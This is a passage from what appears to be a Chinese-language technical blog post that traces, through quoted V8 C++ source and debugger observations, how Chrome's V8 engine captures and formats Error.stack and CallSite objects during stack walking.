<span class="n">chrome</span><span class="p">.</span><span class="n">dll</span><span class="o">!</span><span class="n">v8</span><span class="o">::</span><span class="n">internal</span><span class="o">::</span><span class="n">Runtime_LoadNoFeedbackIC_Miss</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span>
<span class="p">...</span>
</code></pre></div></div>
<p>可以看出 <code class="language-plaintext highlighter-rouge">Error.stack</code> 属性是一个 <code class="language-plaintext highlighter-rouge">accessor</code>，对这个属性的访问，触发了对应了 <code class="language-plaintext highlighter-rouge">ErrorStackGetter</code> 函数的执行，继续浏览调用栈，可以看到一个 <code class="language-plaintext highlighter-rouge">FormatStackTrace</code> 函数，这个函数的实现跟之前读到的文档的内容可以匹配上，程序先创建了一个 <code class="language-plaintext highlighter-rouge">CallSite</code> 对象的数组，然后用这个数组作为参数，调用了 <code class="language-plaintext highlighter-rouge">prepareStackTrace</code> 函数。</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// static</span>
<span class="n">MaybeHandle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">ErrorUtils</span><span class="o">::</span><span class="n">GetFormattedStack</span><span class="p">(</span>
<span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span> <span class="n">Handle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">error_object</span><span class="p">)</span> <span class="p">{</span>
<span class="n">TRACE_EVENT0</span><span class="p">(</span><span class="n">TRACE_DISABLED_BY_DEFAULT</span><span class="p">(</span><span class="s">"v8.stack_trace"</span><span class="p">),</span> <span class="n">__func__</span><span class="p">);</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">error_stack</span> <span class="o">=</span> <span class="n">JSReceiver</span><span class="o">::</span><span class="n">GetDataProperty</span><span class="p">(</span>
<span class="n">error_object</span><span class="p">,</span> <span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">error_stack_symbol</span><span class="p">());</span>
<span class="k">if</span> <span class="p">(</span><span class="n">error_stack</span><span class="o">-></span><span class="n">IsErrorStackData</span><span class="p">())</span> <span class="p">{</span>
<span class="p">....</span>
<span class="k">return</span> <span class="n">formatted_stack</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">error_stack</span><span class="o">-></span><span class="n">IsFixedArray</span><span class="p">())</span> <span class="p">{</span>
<span class="c1">///>>>> 程序走到这里</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">formatted_stack</span><span class="p">;</span>
<span class="n">ASSIGN_RETURN_ON_EXCEPTION</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">,</span> <span class="n">formatted_stack</span><span class="p">,</span>
<span class="n">FormatStackTrace</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">error_object</span><span class="p">,</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">FixedArray</span><span class="o">>::</span><span class="n">cast</span><span class="p">(</span><span class="n">error_stack</span><span class="p">)),</span>
<span class="n">Object</span><span class="p">);</span>
<span class="n">RETURN_ON_EXCEPTION</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">,</span>
<span class="n">JSObject</span><span class="o">::</span><span class="n">SetProperty</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">error_object</span><span class="p">,</span>
<span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">error_stack_symbol</span><span class="p">(),</span>
<span class="n">formatted_stack</span><span class="p">,</span> <span class="n">StoreOrigin</span><span class="o">::</span><span class="n">kMaybeKeyed</span><span class="p">,</span>
<span class="n">Just</span><span class="p">(</span><span class="n">ShouldThrow</span><span class="o">::</span><span class="n">kThrowOnError</span><span class="p">)),</span>
<span class="n">Object</span><span class="p">);</span>
<span class="k">return</span> <span class="n">formatted_stack</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">error_stack</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// static</span>
<span class="n">MaybeHandle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">ErrorUtils</span><span class="o">::</span><span class="n">FormatStackTrace</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">error</span><span class="p">,</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">raw_stack</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">FLAG_correctness_fuzzer_suppressions</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">empty_string</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">raw_stack</span><span class="o">-></span><span class="n">IsFixedArray</span><span class="p">());</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">FixedArray</span><span class="o">></span> <span class="n">elems</span> <span class="o">=</span> <span class="n">Handle</span><span class="o"><</span><span class="n">FixedArray</span><span class="o">>::</span><span class="n">cast</span><span class="p">(</span><span class="n">raw_stack</span><span class="p">);</span>
<span class="k">const</span> <span class="kt">bool</span> <span class="n">in_recursion</span> <span class="o">=</span> <span class="n">isolate</span><span class="o">-></span><span class="n">formatting_stack_trace</span><span class="p">();</span>
<span class="k">const</span> <span class="kt">bool</span> <span class="n">has_overflowed</span> <span class="o">=</span> <span class="n">i</span><span class="o">::</span><span class="n">StackLimitCheck</span><span class="p">{</span><span class="n">isolate</span><span class="p">}.</span><span class="n">HasOverflowed</span><span class="p">();</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Context</span><span class="o">></span> <span class="n">error_context</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">in_recursion</span> <span class="o">&&</span> <span class="o">!</span><span class="n">has_overflowed</span> <span class="o">&&</span>
<span class="n">error</span><span class="o">-></span><span class="n">GetCreationContext</span><span class="p">().</span><span class="n">ToHandle</span><span class="p">(</span><span class="o">&</span><span class="n">error_context</span><span class="p">))</span> <span class="p">{</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">error_context</span><span class="o">-></span><span class="n">IsNativeContext</span><span class="p">());</span>
<span class="k">if</span> <span class="p">(</span><span class="n">isolate</span><span class="o">-></span><span class="n">HasPrepareStackTraceCallback</span><span class="p">())</span> <span class="p">{</span>
<span class="p">...</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSFunction</span><span class="o">></span> <span class="n">global_error</span> <span class="o">=</span>
<span class="n">handle</span><span class="p">(</span><span class="n">error_context</span><span class="o">-></span><span class="n">error_function</span><span class="p">(),</span> <span class="n">isolate</span><span class="p">);</span>
<span class="c1">// If there's a user-specified "prepareStackTrace" function, call it on</span>
<span class="c1">// the frames and use its result.</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">prepare_stack_trace</span><span class="p">;</span>
<span class="n">ASSIGN_RETURN_ON_EXCEPTION</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">,</span> <span class="n">prepare_stack_trace</span><span class="p">,</span>
<span class="n">JSFunction</span><span class="o">::</span><span class="n">GetProperty</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">global_error</span><span class="p">,</span> <span class="s">"prepareStackTrace"</span><span class="p">),</span>
<span class="n">Object</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">prepare_stack_trace</span><span class="o">-></span><span class="n">IsJSFunction</span><span class="p">())</span> <span class="p">{</span>
<span class="n">PrepareStackTraceScope</span> <span class="n">scope</span><span class="p">(</span><span class="n">isolate</span><span class="p">);</span>
<span class="n">isolate</span><span class="o">-></span><span class="n">CountUsage</span><span class="p">(</span><span class="n">v8</span><span class="o">::</span><span class="n">Isolate</span><span class="o">::</span><span class="n">kErrorPrepareStackTrace</span><span class="p">);</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSArray</span><span class="o">></span> <span class="n">sites</span><span class="p">;</span>
<span class="n">ASSIGN_RETURN_ON_EXCEPTION</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">sites</span><span class="p">,</span>
<span class="n">GetStackFrames</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">elems</span><span class="p">),</span> <span class="n">Object</span><span class="p">);</span>
<span class="k">const</span> <span class="kt">int</span> <span class="n">argc</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">base</span><span class="o">::</span><span class="n">ScopedVector</span><span class="o"><</span><span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">>></span> <span class="n">argv</span><span class="p">(</span><span class="n">argc</span><span class="p">);</span>
<span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">error</span><span class="p">;</span>
<span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">sites</span><span class="p">;</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">result</span><span class="p">;</span>
<span class="n">ASSIGN_RETURN_ON_EXCEPTION</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span>
<span class="n">Execution</span><span class="o">::</span><span class="n">Call</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">prepare_stack_trace</span><span class="p">,</span> <span class="n">global_error</span><span class="p">,</span> <span class="n">argc</span><span class="p">,</span>
<span class="n">argv</span><span class="p">.</span><span class="n">begin</span><span class="p">()),</span>
<span class="n">Object</span><span class="p">);</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">// Otherwise, run our internal formatting logic.</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="c1">// Convert the raw frames as written by Isolate::CaptureSimpleStackTrace into</span>
<span class="c1">// a JSArray of JSCallSite objects.</span>
<span class="n">MaybeHandle</span><span class="o"><</span><span class="n">JSArray</span><span class="o">></span> <span class="n">GetStackFrames</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">FixedArray</span><span class="o">></span> <span class="n">frames</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">frame_count</span> <span class="o">=</span> <span class="n">frames</span><span class="o">-></span><span class="n">length</span><span class="p">();</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSFunction</span><span class="o">></span> <span class="n">constructor</span> <span class="o">=</span> <span class="n">isolate</span><span class="o">-></span><span class="n">callsite_function</span><span class="p">();</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">FixedArray</span><span class="o">></span> <span class="n">sites</span> <span class="o">=</span> <span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">NewFixedArray</span><span class="p">(</span><span class="n">frame_count</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">frame_count</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">CallSiteInfo</span><span class="o">></span> <span class="n">frame</span><span class="p">(</span><span class="n">CallSiteInfo</span><span class="o">::</span><span class="n">cast</span><span class="p">(</span><span class="n">frames</span><span class="o">-></span><span class="n">get</span><span class="p">(</span><span class="n">i</span><span class="p">)),</span> <span class="n">isolate</span><span class="p">);</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">site</span><span class="p">;</span>
<span class="n">ASSIGN_RETURN_ON_EXCEPTION</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">,</span> <span class="n">site</span><span class="p">,</span>
<span class="n">JSObject</span><span class="o">::</span><span class="n">New</span><span class="p">(</span><span class="n">constructor</span><span class="p">,</span> <span class="n">constructor</span><span class="p">,</span> <span class="n">Handle</span><span class="o"><</span><span class="n">AllocationSite</span><span class="o">>::</span><span class="n">null</span><span class="p">()),</span>
<span class="n">JSArray</span><span class="p">);</span>
<span class="n">RETURN_ON_EXCEPTION</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span>
<span class="n">JSObject</span><span class="o">::</span><span class="n">SetOwnPropertyIgnoreAttributes</span><span class="p">(</span>
<span class="n">site</span><span class="p">,</span> <span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">call_site_info_symbol</span><span class="p">(),</span>
<span class="n">frame</span><span class="p">,</span> <span class="n">DONT_ENUM</span><span class="p">),</span>
<span class="n">JSArray</span><span class="p">);</span>
<span class="n">sites</span><span class="o">-></span><span class="n">set</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="o">*</span><span class="n">site</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">NewJSArrayWithElements</span><span class="p">(</span><span class="n">sites</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在代码中搜索 callsie 关键字，可以搜到 getThis 的 CPP 实现 BUILTIN(CallSitePrototypeGetThis)。</p>
<pre><code class="language-CPP">BUILTIN(CallSitePrototypeGetThis) {
HandleScope scope(isolate);
CHECK_CALLSITE(frame, "getThis");
if (frame->IsStrict()) return ReadOnlyRoots(isolate).undefined_value();
isolate->CountUsage(v8::Isolate::kCallSiteAPIGetThisSloppyCall);
#if V8_ENABLE_WEBASSEMBLY
if (frame->IsAsmJsWasm()) {
return frame->GetWasmInstance().native_context().global_proxy();
}
#endif // V8_ENABLE_WEBASSEMBLY
return frame->receiver_or_instance();
}
#define CHECK_CALLSITE(frame, method) \
CHECK_RECEIVER(JSObject, receiver, method); \
LookupIterator it(isolate, receiver, \
isolate->factory()->call_site_info_symbol(), \
LookupIterator::OWN_SKIP_INTERCEPTOR); \
if (it.state() != LookupIterator::DATA) { \
THROW_NEW_ERROR_RETURN_FAILURE( \
isolate, \
NewTypeError(MessageTemplate::kCallSiteMethod, \
isolate->factory()->NewStringFromAsciiChecked(method))); \
} \
Handle<CallSiteInfo> frame = Handle<CallSiteInfo>::cast(it.GetDataValue())
</code></pre>
<p>可以看到 getThis 就是读取了存储在 CallSizeInfo 对象中的 receiver 数据， 往前追溯 CallSiteInfo 的来源，发现是 <code class="language-plaintext highlighter-rouge">JSReceiver::GetDataProperty(error_object, isolate->factory()->error_stack_symbol());</code> 语句读取的，在代码中搜索 error_stack_symbol 关键字，找到疑似设置属性的函数 <code class="language-plaintext highlighter-rouge">Isolate::CaptureAndSetErrorStack</code>， 下断点后刷新页面，断点断下，检查调用栈可以看到是 error 对象的构造函数中调用了此函数采集调用栈信息。</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MaybeHandle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">Isolate</span><span class="o">::</span><span class="n">CaptureAndSetErrorStack</span><span class="p">(</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">error_object</span><span class="p">,</span> <span class="n">FrameSkipMode</span> <span class="n">mode</span><span class="p">,</span> <span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">caller</span><span class="p">)</span> <span class="p">{</span>
<span class="n">TRACE_EVENT0</span><span class="p">(</span><span class="n">TRACE_DISABLED_BY_DEFAULT</span><span class="p">(</span><span class="s">"v8.stack_trace"</span><span class="p">),</span> <span class="n">__func__</span><span class="p">);</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">error_stack</span> <span class="o">=</span> <span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">undefined_value</span><span class="p">();</span>
<span class="c1">// Capture the "simple stack trace" for the error.stack property,</span>
<span class="c1">// which can be disabled by setting Error.stackTraceLimit to a non</span>
<span class="c1">// number value or simply deleting the property. If the inspector</span>
<span class="c1">// is active, and requests more stack frames than the JavaScript</span>
<span class="c1">// program itself, we collect up to the maximum.</span>
<span class="kt">int</span> <span class="n">stack_trace_limit</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">GetStackTraceLimit</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="o">&</span><span class="n">stack_trace_limit</span><span class="p">))</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">limit</span> <span class="o">=</span> <span class="n">stack_trace_limit</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">capture_stack_trace_for_uncaught_exceptions_</span> <span class="o">&&</span>
<span class="o">!</span><span class="p">(</span><span class="n">stack_trace_for_uncaught_exceptions_options_</span> <span class="o">&</span>
<span class="n">StackTrace</span><span class="o">::</span><span class="n">kExposeFramesAcrossSecurityOrigins</span><span class="p">))</span> <span class="p">{</span>
<span class="c1">// Collect up to the maximum of what the JavaScript program and</span>
<span class="c1">// the inspector want. There's a special case here where the API</span>
<span class="c1">// can ask the stack traces to also include cross-origin frames,</span>
<span class="c1">// in which case we collect a separate trace below. Note that</span>
<span class="c1">// the inspector doesn't use this option, so we could as well</span>
<span class="c1">// just deprecate this in the future.</span>
<span class="k">if</span> <span class="p">(</span><span class="n">limit</span> <span class="o"><</span> <span class="n">stack_trace_for_uncaught_exceptions_frame_limit_</span><span class="p">)</span> <span class="p">{</span>
<span class="n">limit</span> <span class="o">=</span> <span class="n">stack_trace_for_uncaught_exceptions_frame_limit_</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">error_stack</span> <span class="o">=</span> <span class="n">CaptureSimpleStackTrace</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">limit</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Next is the inspector part: Depending on whether we got a "simple</span>
<span class="c1">// stack trace" above and whether that's usable (meaning the API</span>
<span class="c1">// didn't request to include cross-origin frames), we remember the</span>
<span class="c1">// cap for the stack trace (either a positive limit indicating that</span>
<span class="c1">// the Error.stackTraceLimit value was below what was requested via</span>
<span class="c1">// the API, or a negative limit to indicate the opposite), or we</span>
<span class="c1">// collect a "detailed stack trace" eagerly and stash that away.</span>
<span class="k">if</span> <span class="p">(</span><span class="n">capture_stack_trace_for_uncaught_exceptions_</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">limit_or_stack_frame_infos</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">error_stack</span><span class="o">-></span><span class="n">IsUndefined</span><span class="p">(</span><span class="k">this</span><span class="p">)</span> <span class="o">||</span>
<span class="p">(</span><span class="n">stack_trace_for_uncaught_exceptions_options_</span> <span class="o">&</span>
<span class="n">StackTrace</span><span class="o">::</span><span class="n">kExposeFramesAcrossSecurityOrigins</span><span class="p">))</span> <span class="p">{</span>
<span class="n">limit_or_stack_frame_infos</span> <span class="o">=</span> <span class="n">CaptureDetailedStackTrace</span><span class="p">(</span>
<span class="n">stack_trace_for_uncaught_exceptions_frame_limit_</span><span class="p">,</span>
<span class="n">stack_trace_for_uncaught_exceptions_options_</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">limit</span> <span class="o">=</span>
<span class="n">stack_trace_limit</span> <span class="o">></span> <span class="n">stack_trace_for_uncaught_exceptions_frame_limit_</span>
<span class="o">?</span> <span class="o">-</span><span class="n">stack_trace_for_uncaught_exceptions_frame_limit_</span>
<span class="o">:</span> <span class="n">stack_trace_limit</span><span class="p">;</span>
<span class="n">limit_or_stack_frame_infos</span> <span class="o">=</span> <span class="n">handle</span><span class="p">(</span><span class="n">Smi</span><span class="o">::</span><span class="n">FromInt</span><span class="p">(</span><span class="n">limit</span><span class="p">),</span> <span class="k">this</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">error_stack</span> <span class="o">=</span>
<span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">NewErrorStackData</span><span class="p">(</span><span class="n">error_stack</span><span class="p">,</span> <span class="n">limit_or_stack_frame_infos</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">RETURN_ON_EXCEPTION</span><span class="p">(</span>
<span class="k">this</span><span class="p">,</span>
<span class="n">JSObject</span><span class="o">::</span><span class="n">SetProperty</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">error_object</span><span class="p">,</span> <span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">error_stack_symbol</span><span class="p">(),</span>
<span class="n">error_stack</span><span class="p">,</span> <span class="n">StoreOrigin</span><span class="o">::</span><span class="n">kMaybeKeyed</span><span class="p">,</span>
<span class="n">Just</span><span class="p">(</span><span class="n">ShouldThrow</span><span class="o">::</span><span class="n">kThrowOnError</span><span class="p">)),</span>
<span class="n">JSObject</span><span class="p">);</span>
<span class="k">return</span> <span class="n">error_object</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>经过几个小时的验证，我确认是在 Error 对象创建过程时抓取到的栈回溯已经出问题了，为了完全搞懂问题出在哪，我接下来分析一下栈回溯的过程。</p>
<p>栈回溯的主要流程在 <code class="language-plaintext highlighter-rouge">VisitStack</code> 函数中，由 StackFrameIterator 对象完成的</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">template</span> <span class="o"><</span><span class="k">typename</span> <span class="nc">Visitor</span><span class="p">></span>
<span class="kt">void</span> <span class="nf">VisitStack</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span> <span class="n">Visitor</span><span class="o">*</span> <span class="n">visitor</span><span class="p">,</span>
<span class="n">StackTrace</span><span class="o">::</span><span class="n">StackTraceOptions</span> <span class="n">options</span> <span class="o">=</span> <span class="n">StackTrace</span><span class="o">::</span><span class="n">kDetailed</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DisallowJavascriptExecution</span> <span class="n">no_js</span><span class="p">(</span><span class="n">isolate</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">StackFrameIterator</span> <span class="n">it</span><span class="p">(</span><span class="n">isolate</span><span class="p">);</span> <span class="o">!</span><span class="n">it</span><span class="p">.</span><span class="n">done</span><span class="p">();</span> <span class="n">it</span><span class="p">.</span><span class="n">Advance</span><span class="p">())</span> <span class="p">{</span>
<span class="n">StackFrame</span><span class="o">*</span> <span class="n">frame</span> <span class="o">=</span> <span class="n">it</span><span class="p">.</span><span class="n">frame</span><span class="p">();</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">frame</span><span class="o">-></span><span class="n">type</span><span class="p">())</span> <span class="p">{</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">BUILTIN_EXIT</span><span class="p">:</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">JAVA_SCRIPT_BUILTIN_CONTINUATION</span><span class="p">:</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">JAVA_SCRIPT_BUILTIN_CONTINUATION_WITH_CATCH</span><span class="p">:</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">OPTIMIZED</span><span class="p">:</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">INTERPRETED</span><span class="p">:</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">BASELINE</span><span class="p">:</span>
<span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">BUILTIN</span><span class="p">:</span>
<span class="cp">#if V8_ENABLE_WEBASSEMBLY
</span> <span class="k">case</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">WASM</span><span class="p">:</span>
<span class="cp">#endif // V8_ENABLE_WEBASSEMBLY
</span> <span class="p">{</span>
<span class="c1">// A standard frame may include many summarized frames (due to</span>
<span class="c1">// inlining).</span>
<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o"><</span><span class="n">FrameSummary</span><span class="o">></span> <span class="n">summaries</span><span class="p">;</span>
<span class="n">CommonFrame</span><span class="o">::</span><span class="n">cast</span><span class="p">(</span><span class="n">frame</span><span class="p">)</span><span class="o">-></span><span class="n">Summarize</span><span class="p">(</span><span class="o">&</span><span class="n">summaries</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="n">rit</span> <span class="o">=</span> <span class="n">summaries</span><span class="p">.</span><span class="n">rbegin</span><span class="p">();</span> <span class="n">rit</span> <span class="o">!=</span> <span class="n">summaries</span><span class="p">.</span><span class="n">rend</span><span class="p">();</span> <span class="o">++</span><span class="n">rit</span><span class="p">)</span> <span class="p">{</span>
<span class="n">FrameSummary</span><span class="o">&</span> <span class="n">summary</span> <span class="o">=</span> <span class="o">*</span><span class="n">rit</span><span class="p">;</span>
<span class="c1">// Skip frames from other origins when asked to do so.</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">options</span> <span class="o">&</span> <span class="n">StackTrace</span><span class="o">::</span><span class="n">kExposeFramesAcrossSecurityOrigins</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="n">summary</span><span class="p">.</span><span class="n">native_context</span><span class="p">()</span><span class="o">-></span><span class="n">HasSameSecurityTokenAs</span><span class="p">(</span>
<span class="n">isolate</span><span class="o">-></span><span class="n">context</span><span class="p">()))</span> <span class="p">{</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">visitor</span><span class="o">-></span><span class="n">Visit</span><span class="p">(</span><span class="n">summary</span><span class="p">))</span> <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="nl">default:</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">StackFrameIterator</span><span class="o">::</span><span class="n">StackFrameIterator</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">)</span>
<span class="o">:</span> <span class="n">StackFrameIterator</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">isolate</span><span class="o">-></span><span class="n">thread_local_top</span><span class="p">())</span> <span class="p">{}</span>
<span class="n">StackFrameIterator</span><span class="o">::</span><span class="n">StackFrameIterator</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span> <span class="n">ThreadLocalTop</span><span class="o">*</span> <span class="n">t</span><span class="p">)</span>
<span class="o">:</span> <span class="n">StackFrameIteratorBase</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Reset</span><span class="p">(</span><span class="n">t</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">StackFrameIterator</span><span class="o">::</span><span class="n">Reset</span><span class="p">(</span><span class="n">ThreadLocalTop</span><span class="o">*</span> <span class="n">top</span><span class="p">)</span> <span class="p">{</span>
<span class="n">StackFrame</span><span class="o">::</span><span class="n">State</span> <span class="n">state</span><span class="p">;</span>
<span class="n">StackFrame</span><span class="o">::</span><span class="n">Type</span> <span class="n">type</span> <span class="o">=</span>
<span class="n">ExitFrame</span><span class="o">::</span><span class="n">GetStateForFramePointer</span><span class="p">(</span><span class="n">Isolate</span><span class="o">::</span><span class="n">c_entry_fp</span><span class="p">(</span><span class="n">top</span><span class="p">),</span> <span class="o">&</span><span class="n">state</span><span class="p">);</span>
<span class="n">handler_</span> <span class="o">=</span> <span class="n">StackHandler</span><span class="o">::</span><span class="n">FromAddress</span><span class="p">(</span><span class="n">Isolate</span><span class="o">::</span><span class="n">handler</span><span class="p">(</span><span class="n">top</span><span class="p">));</span>
<span class="n">frame_</span> <span class="o">=</span> <span class="n">SingletonFor</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="o">&</span><span class="n">state</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="n">Address</span> <span class="n">c_entry_fp</span><span class="p">(</span><span class="n">ThreadLocalTop</span><span class="o">*</span> <span class="kr">thread</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="kr">thread</span><span class="o">-></span><span class="n">c_entry_fp_</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以看到是从 thread->c_entry_fp_ 开始的，通过下数据访问断点，我发现这个变量是在 `Builtins_CEntry_Return1<em>DontSaveFPRegs_ArgvOnStack_BuiltinExit 中设置的，阅读代码发现这个函数负责在 javascript 调用 CPP 的 Runtime 函数时，在栈上构建 BuiltinExitFrame 调用栈，构建好的 BultinExitFrame 会被存储到 thread->c_entry_fp</em> 中，目前存储的就是调用 ErrorConstruct 构建的 BuiltinExitFrame。</p>
<hr />
